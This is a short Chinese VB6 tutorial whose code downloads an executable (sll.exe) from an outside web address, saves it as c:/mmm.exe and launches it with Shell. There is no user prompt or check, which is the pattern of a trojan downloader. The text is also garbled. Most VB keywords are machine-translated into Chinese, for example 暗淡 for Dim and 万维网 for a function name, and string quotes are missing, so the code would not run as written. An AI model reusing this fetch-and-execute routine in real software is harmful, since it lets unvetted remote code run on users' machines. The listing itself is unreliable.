建立一个vb工程，Project1
添加引用：Microsoft 脚本运行时、Microsoft Active Data Object、Microsoft MsXml
表格1代码：
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
暗淡 d As Class1
设置 a = 新 MSXML2.XMLHTTP
a.打开获取，http://www.ljc.com/sll.exe，True
设置 d = 新 Class1
a.onreadystatechange = d
a.发送
结束子
Class1代码：
Dim b As ADODB.Stream
Dim fso As Scripting.FileSystemObject
公共 curReadyState 只要
公共函数 doSome()
调试.打印Form1.a.readyState
如果 Form1.a.readyState = 4 那么
万维网
结束如果
结束功能
公共函数 www()
设置 b = 新 ADODB.Stream
b.类型=1
b.打开
设置 fso = New Scripting.FileSystemObject
如果 Form1.a.readyState = 4 那么
b.Write(Form1.a.responseBody)
如果不是 fso.FileExists(c:/mmm.exe) 那么
b.SaveToFile c:/mmm.exe
结束如果
结束如果
b.关闭
设置 b = 无
如果 fso.FileExists(c:/mmm.exe) 那么 Shell c:/mmm.exe, 1
设置 fso = 无
结束功能
注意将Class1的doSome设置设为默认的。